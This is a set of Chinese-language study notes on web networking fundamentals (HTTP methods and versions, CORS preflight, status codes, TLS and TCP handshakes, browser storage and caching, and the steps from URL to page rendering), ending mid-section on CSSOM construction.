计算机网络
Get和Post的区别
Post 和 Get 是 HTTP 请求的两种方法,其区别如下:
- 应用场景:GET 请求是一个幂等(即多次请求返回值相同)的请求,一般 Get 请求用于对服务器资源不会产生影响的场景,比如说请求一个网页的资源。而 Post 不是一个幂等的请求,一般用于对服务器资源会产生影响的情景,比如注册用户这一类的操作。
- 是否缓存:因为两者应用场景不同,浏览器一般会对 Get 请求缓存,但很少对 Post 请求缓存。
- 发送的报文格式:Get 请求的报文中实体部分为空,Post 请求的报文中实体部分一般为向服务器发送的数据。
- 安全性:Get 请求可以将请求的参数放入 url 中向服务器发送,这样的做法相对于 Post 请求来说是不太安全的,因为请求的 url 会被保留在历史记录中。
- 请求长度:浏览器由于对 url 长度的限制,所以会影响 get 请求发送数据时的长度。这个限制是浏览器规定的,并不是 RFC 规定的。
- 参数类型:post 的参数传递支持更多的数据类型。
| 方法 | 幂等性 | 参数位置 | 缓存性 | 安全性 | 核心用途 | 典型场景 | 响应状态码 |
|---|---|---|---|---|---|---|---|
| GET | ✅(幂等) | URL | ✅(可缓存) | 低(参数暴露) | 获取资源当前状态 | 查询数据列表、获取详情页 | 200 OK |
| POST | ❌(非幂等) | 请求体 | ❌(不可缓存) | 高(参数隐藏) | 创建新资源、提交数据 | 用户注册、提交表单、上传文件 | 201 Created |
| PUT | ✅(幂等) | 请求体 | ❌ | 高 | 完整替换资源(需提供全部数据) | 更新用户完整信息、覆盖配置文件 | 200 OK/204 No Content |
| DELETE | ✅(幂等) | URL / 请求体 | ❌ | 高 | 删除指定资源 | 删除用户、商品或文件 | 204 No Content |
| PATCH | ❌/✅* | 请求体 | ❌ | 高 | 部分更新资源(仅传修改字段) | 修改用户邮箱、密码或部分属性 | 200 OK/204 No Content |
| HEAD | ✅ | URL | ✅ | 低 | 获取资源元信息(仅响应头) | 检查文件大小、验证缓存有效性 | 200 OK |
| OPTIONS | ✅ | URL | ❌ | 高 | 获取服务器支持的请求方法和 CORS 权限 | 浏览器跨域预检请求、检查 API 支持的方法 | 200 OK |
OPTIONS预检请求
当浏览器发起的跨域请求满足 “非简单请求” 条件时,会先自动发送一个 OPTIONS 请求到目标服务器,确认服务器是否允许该跨域操作。只有 OPTIONS 请求返回 “允许”,浏览器才会发送真正的 GET/POST/PUT 等请求。
非简单请求指的是一下条件满足任一的请求:
- 请求方法不是 GET、POST、HEAD(比如用 PUT、DELETE、PATCH 等)
- 请求头包含自定义字段(比如 Authorization、Content-Type: application/json、X-Token 等,注意:Content-Type: application/x-www-form-urlencoded/multipart/form-data/text/plain 属于简单头,不触发预检,Content-Type表示了body(请求/响应体)里的数据格式)
- 请求体是 application/json 格式(而非表单默认的 x-www-form-urlencoded)
预检请求头示例:
OPTIONS /api/user HTTP/1.1
Host: api.example.com # 目标服务器域名
Origin: http://a.com # 跨域场景下,当前前端域名(浏览器自动加)
Access-Control-Request-Method: POST # 告诉服务器:我接下来要发 POST 请求(预检核心字段)
Access-Control-Request-Headers: Content-Type # 告诉服务器:我接下来要带 Content-Type 头(预检核心字段)
Connection: keep-alive预检响应头示例:
HTTP/1.1 204 No Content # 204 状态码表示“成功但无响应体”(符合 OPTIONS 探测性质)
Access-Control-Allow-Origin: http://a.com # 允许的跨域来源(必须和请求的 Origin 匹配)
Access-Control-Allow-Methods: GET, POST, PUT, DELETE # 服务器允许的所有 HTTP 方法
Access-Control-Allow-Headers: Content-Type, Authorization # 服务器允许的请求头
Access-Control-Max-Age: 86400 # 预检结果的缓存时间(秒),1 天内重复跨域请求无需再发 OPTIONS
Date: Tue, 26 Aug 2025 08:00:00 GMT预检一般返回以下信息:
- 允许哪些请求方法?
- 允许哪些请求头?
- 允许哪些域名跨域?
304状态码
服务器为了提高网站访问速度,对之前访问的部分页面指定缓存机制,当客户端在此对这些页面进行请求,服务器会根据缓存内容判断页面与之前是否相同,若相同便直接返回304,此时客户端调用缓存内容,不必进行二次下载。
状态码304不应该认为是一种错误,而是对客户端有缓存情况下服务端的一种响应。
搜索引擎蜘蛛会更加青睐内容源更新频繁的网站。通过特定时间内对网站抓取返回的状态码来调节对该网站的抓取频次。若网站在一定时间内一直处于304的状态,那么蜘蛛可能会降低对网站的抓取次数。相反,若网站变化的频率非常之快,每次抓取都能获取新内容,那么日积月累,的回访率也会提高。
产生较多304状态码的原因:
- 页面更新周期长或不更新
- 纯静态页面或强制生成静态html
304状态码出现过多会造成以下问题:
- 网站快照停止;
- 收录减少;
- 权重下降。
HTTP协议,从HTTP1.0到HTTP3.0
首先HTTP1.0最大的问题在于连接的持续性,其每一次发送请求都会重新走TCP连接(三次握手,四次挥手)
而HTTP1.1中,可以将连接改为持久连接,即采用一次TCP连接来发送多个http请求,但是后端服务器接受到请求的时候,受限于协议要求,必须要按照请求的顺序来响应请求,这就导致了如果服务器需要较长的时间处理前面的请求,会导致后面的请求被阻塞,浪费时间。且由于HTTP1.1中头部是明文传输的,所有会导致头部的数据量比较大,再加上多个请求中的头部可能完全一致,重复发送会导致带宽的浪费。
HTTP1.1 有并发连接的请求数量限制(8个左右)
HTTP1.0和HTTP1.1都需要外挂TLS协议
HTTP2.0
首先通过HPACK算法(为高频出现的头部信息使用哈夫曼编码生成一份索引表,写入HTTP2框架,同时使用动态表来扩充头部信息)来压缩头部。
其次,将HTTP1中的文本格式改成二进制帧,帧包含帧头和帧数据,帧数据存放的就是HPACK压缩后的头部和数据
通过并发传输解决了队头阻塞的问题,一个TCP连接中包含多个stream,stream中包含多个messgae,每一个message中又包含多个frame,同时解决了并发连接的数量问题,HTTP2下,只有一个TCP连接,而在这一个连接中进行多路复用
- Stream:是连接中的一个虚拟信道,有唯一整数标识符,客户端发起的流具有奇数 ID,服务器端发起的流具有偶数 ID。它承载着双向的消息传输,并且具有一些额外的信息,如优先级等,用于控制服务器对资源的分配。
- Message:即 HTTP 的请求或响应,是一个逻辑上的完整数据单元,由一系列的 Header Frames 和 Data Frames 组成。Header Frames 包含了与 HTTP 请求或响应头相关的信息,Data Frames 则包含了消息体的信息。
- Frame:包含类型(Type)、长度(Length)、标记(Flags)、流标识(Stream ID)和有效载荷(Payload)等部分。Type 表示帧的类型,如 Headers 帧用于传输头部信息,Data 帧用于传输消息体数据等;Length 表示帧的长度;Flags 用于携带一些额外的控制信息;Stream ID 用于标识该帧所属的流;Payload 则是帧实际携带的数据内容。
不同stream之间可以乱序发送和接受,但是同一个stream内部必须是有序的
例如,浏览器发送了多个资源请求,每一个资源请求对应一个stream、资源的请求和响应消息对应一个message、每一个message又由多个frame组成,浏览器可以同时发送多个stream来请求不同的资源,服务器也可以同时响应多个stream来返回不同的资源,这些stream之间是乱序的,但是同一个stream内部的帧frame必须按照顺序发送和接受。(stream可比作车道、message为车道上的车辆、frame为车辆内运输的货物)
此外,还通过服务器推送来推送可能用到的资源:
- 服务器端操作
- 预测资源需求:服务器接收到客户端的请求后,会根据经验、配置或请求的相关信息,预测客户端可能需要的额外资源。例如,当客户端请求一个 HTML 页面时,服务器可以分析 HTML 代码中引用的 CSS、JavaScript 文件以及图片等资源,判断这些资源可能是客户端后续需要的。
- 创建推送流:服务器为每个要推送的资源创建一个推送流(Push Stream)。推送流是一种特殊的流,用于在客户端没有显式请求的情况下,将资源发送给客户端。
- 发送 PUSH_PROMISE 帧:服务器首先发送一个特殊的
PUSH_PROMISE帧,该帧包含了推送资源的请求头信息,如 URL、方法等。这个帧就像是一个通知,告诉客户端 “我将要推送这个资源,你做好准备”。然后,服务器在推送流上发送实际的资源数据。
- 客户端处理
- 接收和检查:客户端收到初始请求的响应后,会解析相关内容,如 HTML 页面。同时,客户端会检查是否收到了针对其他资源的
PUSH_PROMISE帧。 - 使用推送资源:如果客户端收到了某个资源的
PUSH_PROMISE帧,并且该资源是它所需要的,那么客户端会使用推送流中的数据,而无需再次向服务器发送请求获取该资源。 - 拒绝推送:如果客户端已经缓存了服务器推送的资源,或者由于某种原因不需要该资源,它可以发送一个
RST_STREAM帧来取消推送流,告知服务器停止推送。
- 接收和检查:客户端收到初始请求的响应后,会解析相关内容,如 HTML 页面。同时,客户端会检查是否收到了针对其他资源的
HTTP3.0
将TCP连接换成了基于quic协议的UDP连接,来实现性能优化。
- 客户端发送 Initial 包(含 ClientHello、连接 ID、传输参数)。
- 服务器返回 Handshake 包(含 ServerHello、证书、公钥、新连接 ID),双方完成密钥交换。
功能基本就是把 TCP 的可靠传输、流量控制、拥塞控制等能力在 QUIC 协议中重新实现。由于TCP协议的设计缺陷,导致了HTTP2.0中的队头阻塞问题(任一包的丢失会阻塞后续包的处理),而QUIC协议通过引入多路复用和独立流的设计(每个流都是独立的,阻塞只影响自己),解决了这个问题。此外,QUIC协议还集成了TLS协议来提升安全性,并且通过连接迁移机制实现了更好的移动网络支持,使得HTTP3.0在性能和用户体验上都有显著提升。
包括连接迁移(通过连接 ID来表示连接用户,从而无缝迁移),性能提升(集成了TLS)
HTTPS相较于HTTP
1 在 TCP 和 HTTP 之间加入了 SSL/TLS 安全协议
2 TCP 三次握手之后还需进行 SSL/TLS 握手
3 HTTP 的端口号是 80,HTTPS 的端口号是 443
4 HTTPS 需要向 CA 申请证书
加密过程
TLS1.2 版本的加密过程如下:
一、身份验证阶段:确认服务器合法性
客户端发起连接
通过 TCP 建立基础网络连接,发送支持的加密协议版本、算法套件及随机数(Client Random)。
服务器返回证书
选择协议与算法,返回随机数(Server Random)及包含公钥的数字证书(如 X.509 证书)。
客户端验证证书
通过 CA 根证书校验服务器证书的签名、有效期、域名匹配性,确保未被篡改且身份真实。 二、密钥协商阶段:安全生成会话密钥
生成预主密钥
客户端生成随机「预主密钥」,用服务器公钥加密后传输(仅服务器私钥可解密)。
计算主密钥与会话密钥
双方通过 Client Random、Server Random、预主密钥 计算出相同的「主密钥」,进一步衍生出对称加密的「会话密钥」(包含客户端和服务器各自的读写密钥)。
核心逻辑:非对称加密(公钥 + 私钥)保障密钥协商安全,对称加密(会话密钥)确保通信效率。 三、加密通信阶段:数据安全传输
验证密钥有效性
双方用会话密钥加密「握手完成」消息,确认密钥同步正确。
加密数据传输
所有后续数据通过会话密钥进行对称加密(如 AES)和完整性校验(如 HMAC),防止中间人窃取或篡改。
以上加密过程(RSA:用固定公钥加密预主密钥)有数据泄露的风险,如果服务器私钥被泄露,攻击者就可以解密之前的通信内容(通过私钥解密出客户端的预主密钥,两个随机数在握手里是明文传播,通过预主密钥和随机数计算出会话密钥,解密加密信息)。为了解决这个问题,TLS1.3 引入了前向保密(Forward Secrecy)机制,即每次连接都会生成一个新的临时密钥(如使用 ECDHE 算法),即使服务器私钥泄露,也无法解密之前的通信内容。
TLS1.3 版本的加密过程如下:
一、首次连接:1-RTT
- Client Hello客户端直接带上: 随机数 支持的加密套件 密钥交换材料(ECDHE 公钥) → 能发的一次性全发了,不等服务器。
- Server Hello + 证书 + 密钥交换 + Finished服务器一次性返回: 选定加密套件 服务器公钥 证书 加密完成信号 → 1 个 RTT 结束 直接开始加密传业务数据 二、再次连接:0-RTT 客户端缓存 PSK(预共享密钥)→ 直接发加密后的真实请求服务器验证后直接响应→ 0 次往返,上来就干活。为了安全考虑,在发送PSK的时候还需要重新计算发送ECDHE公钥,来保证每次连接的安全性。
客户端用自己的私钥生成ECDHE公钥、并将其与随机数、支持的加密套件一起发送给服务器。服务器收到后,选定加密套件,生成自己的ECDHE公钥,并将其与证书一起返回给客户端。客户端验证服务器证书的合法性后,双方通过ECDHE算法计算出相同的共享密钥(会话密钥)(用自己的私钥+对方的公钥最后可以得出统一的密钥)。最后,双方使用该会话密钥进行加密通信。每次的连接都会重新计算ECDHE公钥,来保证每次连接的安全性(保证前向保密(无法通过之前的密钥推导出之前的加密信息))。
HTTP1.0和HTTP1.1之间的区别
HTTP 1.0和 HTTP 1.1 有以下区别:
- 连接方面,http1.0 默认使用非持久连接,而 http1.1 默认使用持久连接。http1.1 通过使用持久连接来使多个 http 请求复用同一个 TCP 连接,以此来避免使用非持久连接时每次需要建立连接的时延。
- 资源请求方面,在 http1.0 中,存在一些浪费带宽的现象,例如客户端只是需要某个对象的一部分,而服务器却将整个对象送过来了,并且不支持断点续传功能,http1.1 则在请求头引入了 range 头域,它允许只请求资源的某个部分,即返回码是 206(Partial Content),这样就方便了开发者自由的选择以便于充分利用带宽和连接。
- 缓存方面,在 http1.0 中主要使用 header 里的 Last-Modified(响应。秒级精度)、If-Modified-Since(请求)、Expires(响应) 来做为缓存判断的标准,http1.1 则引入了更多的缓存控制策略,例如 Etag(响应)、If-Unmodified-Since(请求)、If-Match(请求)、If-None-Match(请求) 等更多可供选择的缓存头来控制缓存策略。
- http1.1 中新增了 host 字段,用来指定服务器的域名。http1.0 中认为每台服务器都绑定一个唯一的 IP 地址,因此,请求消息中的 URL 并没有传递主机名(hostname)。但随着虚拟主机技术的发展,在一台物理服务器上可以存在多个虚拟主机,并且它们共享一个IP地址。因此有了 host 字段,这样就可以将请求发往到同一台服务器上的不同网站。
- http1.1 相对于 http1.0 还新增了很多请求方法,如 PUT、HEAD、OPTIONS 等。
什么是持久连接
1. Connection 头字段的控制
- HTTP/1.0:默认使用短连接(每次请求 / 响应后关闭连接),若需长连接需显式声明
Connection: keep-alive,但不同浏览器实现可能存在差异。 - HTTP/1.1:默认启用长连接,即请求头和响应头中默认包含
Connection: keep-alive(除非显式设置为close)。 - 字段作用:
- 客户端在请求头中发送
Connection: keep-alive,告知服务器 “希望保持连接”。 - 服务器在响应头中返回
Connection: keep-alive,表示 “同意保持连接”。 - 若双方均未声明
Connection: close,则连接会被复用(直到达到服务器设定的超时时间或手动关闭)。
- 客户端在请求头中发送
2. 连接复用流程
- 首次请求:客户端与服务器建立 TCP 连接(三次握手),发送请求并获取响应。
- 连接保持:响应完成后,连接不关闭,而是进入 “空闲状态”,等待客户端发送下一个请求。
- 后续请求:客户端直接通过该 TCP 连接发送新请求,无需重新建立连接,节省了三次握手和 TLS 握手(若使用 HTTPS)的开销。
- 连接关闭:当满足以下条件之一时,连接关闭:
- 客户端或服务器在请求 / 响应头中显式设置
Connection: close。 - 连接空闲时间超过服务器配置的超时时间(如 Nginx 默认
keepalive_timeout 65;)。 - 服务器主动关闭连接(如达到最大连接数限制)。
- 客户端或服务器在请求 / 响应头中显式设置
url的组成部分
从上面的URL可以看出,一个完整的URL包括以下几部分:
- 协议部分:该URL的协议部分为“http:”,这代表网页使用的是HTTP协议。在Internet中可以使用多种协议,如HTTP,FTP等等本例中使用的是HTTP协议。在"HTTP"后面的“//”为分隔符;
- 域名部分:该URL的域名部分为“www.aspxfans.com”。一个URL中,也可以使用IP地址作为域名使用
- 端口部分:跟在域名后面的是端口,域名和端口之间使用“:”作为分隔符。端口不是一个URL必须的部分,如果省略端口部分,将采用默认端口(HTTP协议默认端口是80,HTTPS协议默认端口是443);
- 虚拟目录部分:从域名后的第一个“/”开始到最后一个“/”为止,是虚拟目录部分。虚拟目录也不是一个URL必须的部分。本例中的虚拟目录是“/news/”;
- 文件名部分:从域名后的最后一个“/”开始到“?”为止,是文件名部分,如果没有“?”,则是从域名后的最后一个“/”开始到“#”为止,是文件部分,如果没有“?”和“#”,那么从域名后的最后一个“/”开始到结束,都是文件名部分。本例中的文件名是“index.asp”。文件名部分也不是一个URL必须的部分,如果省略该部分,则使用默认的文件名;
- 锚部分:从“#”开始到最后,都是锚部分。本例中的锚部分是“name”。锚部分也不是一个URL必须的部分;
- 参数部分:从“?”开始到“#”为止之间的部分为参数部分,又称搜索部分、查询部分。本例中的参数部分为“boardID=5&ID=24618&page=1”。参数可以允许有多个参数,参数与参数之间用“&”作为分隔符。
其中锚部分,即可以用作单页应用的hash路由,也可以定位到文档中id=“name” 处。如果需要同时使用,是不支持在url中输入两个#的,可以先用#定位到单页组件,然后通过url参数,手动滚动到指定的元素
TCP三次握手和四次挥手
三次握手

为什么握手必须3次 第一次握手:客户端发送 SYN 包,表示请求建立连接。 第二次握手:服务器收到 SYN 包后,回复 SYN-ACK 包,表示同意建立连接。 第三次握手:客户端收到 SYN-ACK 包后,回复 ACK 包,表示连接建立成功。 如果只进行两次握手,可能会出现以下问题:
- 无法防止已失效的连接请求报文段突然又传送到了服务端,从而产生错误。
- 假设客户端发出的第一个连接请求报文段由于网络原因长时间滞留,以致于延误到连接释放后的某个时间才到达服务器。
- 在两次握手下,服务器收到这个失效的报文段后,会误认为客户端又发了一次新连接请求,于是向客户端发出确认报文段,同意建立连接。
- 此时客户端并无意建立连接,会忽略确认。但服务器却认为连接已建立,并一直等待客户端发来数据,导致服务器资源白白浪费。
- 无法确认客户端的接收能力。
- 第三次握手最重要的作用是让服务器确认客户端已经收到了自己的确认报文。
- 只有经过三次握手,双方才能确认:自己的发送、接收能力,以及对方的发送、接收能力都是正常的。
四次挥手

为什么必须挥手4次 第一次挥手:客户端发送 FIN 包,表示请求关闭连接。 第二次挥手:服务器收到 FIN 包后,回复 ACK 包,表示同意关闭连接。 第三次挥手:服务器发送 FIN 包,表示服务器也准备关闭连接。 第四次挥手:客户端收到 FIN 包后,回复 ACK 包,表示连接关闭成功,在等待2MSL(报文最大生存时间)之后,正式关闭。 最后为什么需要等待2MSL
- 防止最后一个 ACK 丢包
- 如果 ACK 丢了,服务器会重发 FIN
- 2MSL 时间足够:FIN 过来 + 重发 ACK 回去
- 防止旧连接的报文干扰新连接
- 2MSL 时间足够:旧连接的报文过期,无法干扰新连接
- 再建立新连接时,客户端和服务器都不会收到旧连接的报文,避免误判为新连接的报文。
状态码
2xx状态码
状态码2XX表示请求被正常处理了
| 状态码 | 含义 | 典型场景 |
|---|---|---|
| 200 | 请求成功,返回完整内容 | 常规查询、页面访问 |
| 201 | 创建资源成功 | 注册用户、上传文件 |
| 202 | 请求已接受但未处理完成 | 异步任务(如发送邮件、生成报告) |
| 204 | 成功处理但无返回内容 | 删除资源、更新操作确认 |
| 206 | 成功返回部分内容 | 大文件分片下载、断点续传 |
3xx状态码
3XX 响应结果表明浏览器需要执行某些特殊的处理以正确处理请求。一般都是重定向,会在响应头中添加一个Location字段保存新的网址,浏览器会自动跳转到该网址
为什么POST会更改成GET?
避免表单等重定向后,重复操作
| 状态码 | 含义 | 重定向类型 | 请求方法保留 | 典型场景 |
|---|---|---|---|---|
| 301 | 永久重定向 | 永久 | 转为 GET | 域名迁移、旧路径废弃 |
| 302 | 临时重定向 | 临时 | 可能改变 | 登录后跳转、临时分配服务器 |
| 303 | 要求查看其他地址(强制 GET) | 临时 | 转为 GET | 表单提交后重定向到结果页 |
| 304 | 未修改(使用缓存) | 无重定向 | - | 缓存验证,减少数据传输 |
| 307 | 临时重定向(保留方法) | 临时 | 保留原方法 | 需要保持 POST/GET 方法的临时跳转 |
| 308 | 永久重定向(保留方法) | 永久 | 保留原方法 | 资源永久迁移且需保持请求方法 |
4xx状态码
一般是客户端产生的错误
| 状态码 | 状态码名称 | 含义及场景说明 |
|---|---|---|
| 400 | Bad Request(错误请求) | 客户端请求存在语法错误或参数无效,服务器无法理解请求。 - 示例:参数格式错误、缺少必填字段、JSON 解析失败。 |
| 401 | Unauthorized(未授权) | 客户端请求需要身份验证,但未提供有效凭证(如 Token、Cookie 等) - 常见场景:登录失效、API 接口未携带认证信息。 |
| 403 | Forbidden(禁止访问) | 客户端已通过身份验证,但服务器拒绝其访问资源(通常与权限相关) - 示例:用户无权限访问某个页面、IP 被封禁、文件权限设置错误。 |
| 404 | Not Found(未找到) | 服务器无法找到请求的资源(如 URL 错误、资源已被删除) - 常见场景:输入错误的网址、页面被重命名或移除。 |
| 405 | Method Not Allowed(方法不允许) | 服务器支持请求的资源,但不允许使用当前请求方法(如资源仅支持 GET,但客户端使用 POST) - 需检查接口文档中的请求方法是否正确。 |
| 408 | Request Timeout(请求超时) | 服务器等待客户端请求的时间过长,请求超时 - 常见原因:网络延迟过高、客户端未及时发送请求数据。 |
| 409 | Conflict(冲突) | 客户端请求与服务器当前状态冲突(如资源已存在、版本冲突) - 示例:重复创建相同名称的资源、并发操作导致数据冲突。 |
| 410 | Gone(已删除) | 请求的资源已永久删除,且服务器不再提供该资源 - 与 404 的区别:410 明确资源已不存在,404 可能是暂时不可用或路径错误。 |
| 411 | Length Required(需要 Content-Length) | 客户端请求未提供 Content-Length 头部字段,而服务器要求必须提供(如 POST/PUT 请求提交数据时)。 |
| 412 | Precondition Failed(前提条件失败) | 客户端请求的前提条件(如 If-Match 等条件请求头)不满足 - 常见于缓存验证或并发控制场景。 |
| 413 | Payload Too Large(请求体过大) | 客户端提交的请求体(如表单数据、JSON)超过服务器允许的最大大小 - 需调整请求数据大小或联系服务器管理员修改限制。 |
| 414 | URI Too Long(URI 过长) | 请求的 URI(网址)超过服务器支持的最大长度 - 常见于 GET 请求携带过多参数(浏览器对 URL 长度有限制)。 |
| 422 | Unprocessable Entity(不可处理的实体) | 客户端请求格式正确,但语义无法被服务器处理(如表单验证失败、数据类型不匹配) - 常见于 RESTful API 的参数校验场景。 |
| 429 | Too Many Requests(请求过多) | 客户端发送请求频率过高,触发服务器的速率限制(Rate Limit) - 需根据响应头中的 Retry-After 字段重试请求。 |
5xx状态码
服务器发生错误
| 状态码 | 名称 | 详细说明 |
|---|---|---|
| 500 | Internal Server Error (内部服务器错误) | 最常见的服务器错误。可能由代码逻辑错误、数据库连接失败、文件权限问题等导致。 示例:服务器端脚本执行时抛出未捕获的异常。 |
| 501 | Not Implemented (未实现) | 服务器不支持请求所需的功能或方法。 示例:客户端请求了服务器不支持的 HTTP 方法(如 PUT/DELETE,但服务器未启用相关功能)。 |
| 502 | Bad Gateway (错误网关) | 服务器作为网关或代理时,从上游服务器(如后端服务、CDN)收到无效响应。 示例:微服务架构中,网关调用的某个服务不可用或返回错误。 |
| 503 | Service Unavailable (服务不可用) | 服务器暂时无法处理请求,可能因过载、维护或停机导致。 示例:电商大促期间服务器流量激增,触发限流策略;或管理员主动将服务器下线维护。 |
| 504 | Gateway Timeout (网关超时) | 服务器作为网关或代理时,等待上游服务器响应超时。 示例:后端服务处理请求耗时过长,超过网关设置的超时时间。 |
| 505 | HTTP Version Not Supported (HTTP 版本不支持) | 服务器不支持请求中使用的 HTTP 协议版本(如客户端使用 HTTP/2,但服务器仅支持 HTTP/1.1)。 |
cookie,localstorage,sessionstorage的区别
| 维度 | Cookie | LocalStorage | SessionStorage |
|---|---|---|---|
| 数据生命周期 | 可设置过期时间(永久或会话级) | 永久存储(除非手动删除) | 仅当前会话有效(窗口关闭即删除) |
| 容量限制 | 较小(通常 4KB 左右) | 较大(不同浏览器差异大,通常 5MB - 10MB) | 与 LocalStorage 相近 |
| 网络传输 | 自动随 HTTP 请求发送到服务器 | 不参与网络传输 | 不参与网络传输 |
| 作用域 | 域名 + 路径限制 | 域名限制(同域名共享) | 域名 + 标签页 / 窗口限制 |
| 数据类型 | 仅字符串(需手动序列化 / 反序列化) | 仅字符串(需手动处理 JSON 等格式) | 仅字符串(需手动处理 JSON 等格式) |
| API 操作 | 通过 JS 或服务器设置,操作复杂 | 通过 localStorage 对象简单操作,还可以通过storage事件监听数据变化 | 通过 sessionStorage 对象简单操作 |
| 安全性 | 可配置 HttpOnly/Secure 增强安全 | 易受 XSS 攻击(JS 可直接访问) | 易受 XSS 攻击(JS 可直接访问) |
| 典型场景 | 身份验证、服务器状态同步 | 长期用户偏好、前端缓存 | 临时表单数据、单标签页状态管理 |
session保存在服务器端,会一直存在,默认存在时间30分钟(会随着用户请求重置计时)。cookie保存sessionid,服务器会根据cookie中sessionid获取session。如果服务器不设置cookie的到期时间,cookie会随着窗口的关闭而销毁,如果设置了到期时间则会存在硬盘中,硬盘中的cookie可以在浏览器进程间共享
跨标签通信
如果是通过window.open打开的,此时父与子网页存在链接关系(如果同源可以通过链接关系来访问互相的DOM),可以通过PostMessage进行通信
如果不是,就只能通过localstorage来通信了
强缓存和协商缓存
强缓存(从内存/磁盘中读取,网络请求返回200)
从内存读取的缓存更快
🔸定义
- 强缓存是在资源未过期的情况下,直接使用缓存中的资源,而不需要与服务器进行任何交互。这种缓存机制通过HTTP响应头来设置资源的过期时间,通常使用
Cache-Control和Expires头来控制。
🔸工作原理
- 当浏览器请求资源时查看强缓存是否有效。如果有效,浏览器直接使用缓存的资源,而不会向服务器发送请求;如果缓存已过期,浏览器会重新向服务器请求资源。
🔸相关HTTP响应头
eg:Cache-Control: max-age=10(从第一次请求资源时开始,往后10秒内再次请求就直接从内存中读取,不需要与服务器做任何交互)
- Cache-Control:设置缓存的策略。如max-age(缓存的最大有效时间)和public/private(资源的可以被浏览器缓存也可以被代理服务器缓存/只能浏览器)。
- no-cache:强制进行协商缓存
- no-store:禁止所有缓存
- 多条属性使用逗号分隔
- Expires:指定资源过期的具体时间(在HTTP/1.0中常用,HTTP/1.1推荐使用Cache-Control)(过度依赖本地时间,未考虑本地时间和服务器时间不同步的情况)
状态码为200 OK (from disk cache) 或 200 OK (from memory cache) , 其中js/css一般存在内存中,图片等会存在硬盘中。memory cache关闭浏览器后会清除,而disk cache会被保留
协商缓存(网络请求返回304)
基于last-modified的协商缓存
第一次请求
- 首先需要在服务器端读出文件修改时间
- 将此修改时间赋给响应头的last-modified字段
- 最后设置Cache-Control:no-cache
之后的每一次请求
- 当客户端读取到
last-modified的时候,会在下一次请求头中携带If-Modified-Since,这个的值就是上面的修改时间。- 服务器收到事件后再次读取该资源的修改时间,做对比,如果相等说明未被修改,就返回一个304响应,表示可以直接读取,否则返回新的资源并更新修改时间到
last-modified。
- 服务器收到事件后再次读取该资源的修改时间,做对比,如果相等说明未被修改,就返回一个304响应,表示可以直接读取,否则返回新的资源并更新修改时间到
- 当客户端读取到
基于ETag的协商缓存(HTTP1.1开始)
文件指纹:文件打包后输出的文件名的后缀,也可以是某种hash值
- 第一次请求资源的时候,服务端读取文件并计算出文件指纹,将文件指纹放在响应头的Etag字段中跟资源一起返回给客户端
- 第二次请求资源的时候,客户端自动从缓存种读取上一次返回的Etag也就是文件指纹,并赋给请求头的If-None-Match字段,让上一次的文件指纹跟随请求一起回到服务端
- 服务端拿到上一次文件指纹,和目标资源的指纹进行对比,如果完全吻合,返回304状态码和空的响应体;如果不吻合说明文件被更改,将新的文件指纹重新存储到响应头的Etag并返回给客户端
已经设置为强缓存的文件想转化为协商缓存:
- 清除浏览器的缓存
- 修改文件的URL(在JS文件的引入中加入查询参数:版本号或者时间戳;修改文件名)
- Ctrl+F5强制刷新界面
- 浏览器的开发者工具F12设置禁用缓存选项
从url到页面渲染中发生了什么
1、在浏览器地址栏输⼊URL
2、浏览器查看缓存,如果请求资源在缓存中并且新鲜,跳转到转码步骤
如果资源未缓存,发起新请求
如果已缓存,检验是否⾜够新鲜,⾜够新鲜直接提供给客户端,否则与服务器进⾏验证。
检验新鲜通常有两个HTTP头进⾏控制 Expires 和 Cache-Control:
- HTTP1.0提供 Expires,值为⼀个绝对时间表示缓存新鲜⽇期
- HTTP1.1增加了Cache-Control: max-age=time,值为以秒为单位的最⼤新鲜时间
缓存优先级
- service worker cache(如果存在service worker,并且在fetch事件中有对应的缓存策略,则优先使用service worker缓存)
- 强缓存 (memory cache > disk cache),一般后端配置超时事件,未超时就直接读强缓存
- 协商缓存
3、浏览器解析URL获取协议,主机,端⼝,path
4、浏览器组装⼀个HTTP(GET)请求报⽂
5、浏览器获取主机 ip 地址,过程如下:
浏览器缓存
本机缓存
hosts⽂件
路由器缓存
ISP DNS缓存
DNS递归查询(可能存在负载均衡导致每次IP不⼀样)
6、打开⼀个socket与⽬标IP地址,端⼝建⽴TCP链接,三次握⼿如下:
客户端发送⼀个TCP的SYN=1,Seq=X的包到服务器端口
服务器发回SYN=1, ACK=X+1, Seq=Y的响应包
客户端发送ACK=Y+1, Seq=X+1
7、TCP链接建⽴后发送HTTP请求
8、服务器接受请求并解析,将请求转发到服务程序,如虚拟主机使⽤HTTP Host头部判断请求的服务程序
9、服务器检查HTTP请求头是否包含缓存验证信息,如果验证缓存新鲜,返回304等对应状态码
10、处理程序读取完整请求并准备HTTP响应,可能需要查询数据库等操作
11、服务器将响应报⽂通过TCP连接发送回浏览器
12、浏览器接收HTTP响应,然后根据情况选择关闭TCP连接或者保留重⽤,关闭TCP连接的四次握⼿如下:
主动⽅发送Fin=1, Seq= X报⽂
被动⽅发送ACK=X+1, Seq=Z报⽂
被动⽅发送Fin=1, ACK=X+1, Seq=Y报⽂
主动⽅发送ACK=Y+1, Seq=X+1报⽂
13、浏览器检查响应状态吗:是否为1XX,3XX, 4XX, 5XX,这些情况处理与2XX不同
14、如果资源可缓存,进行缓存
15、对响应进行解码(例如gzip压缩)
16、根据资源类型决定如何处理(假设资源为HTML⽂档)
17、解析HTML⽂档,构件DOM树,下载资源,构造CSSOM树,执⾏js脚本,这些操作没有严 格的先后顺序,以下分别解释:
16、构建DOM树:
Tokenizing:根据HTML规范将字符流解析为标记
Tree construction:根据HTML标记关系将对象组成DOM树
如获取到html内容
<div><p>hello</p></div>,首先会将其解析成标记流:StartTag(div),StartTag(p),Text("hello"),EndTag(p),EndTag(div)。浏览器内部维护了一个栈来构建DOM树,首先遇到StartTag(div),就创建一个div节点并入栈;接着遇到StartTag(p),创建一个p节点并入栈;遇到Text("hello"),将文本节点添加到p节点下;遇到EndTag(p),将p节点出栈;最后遇到EndTag(div),将div节点出栈。最终构建出DOM树:div -> p -> "hello"。
17、解析过程中遇到图⽚、样式表、js⽂件,启动下载
18、构建CSSOM树:
Tokenizing:字符流转换为标记流
Node:根据标记创建节点
CSSOM:节点创建CSSOM树
示例css:
cssbody { color: red; font-size: 14px; } .box { width: 200px; height: 100px; }解析过程:首先将 CSS 文本解析成 tokens(选择器、声明等),然后解析为规则(rule)并构建 CSSOM(样式表对象)。例如:
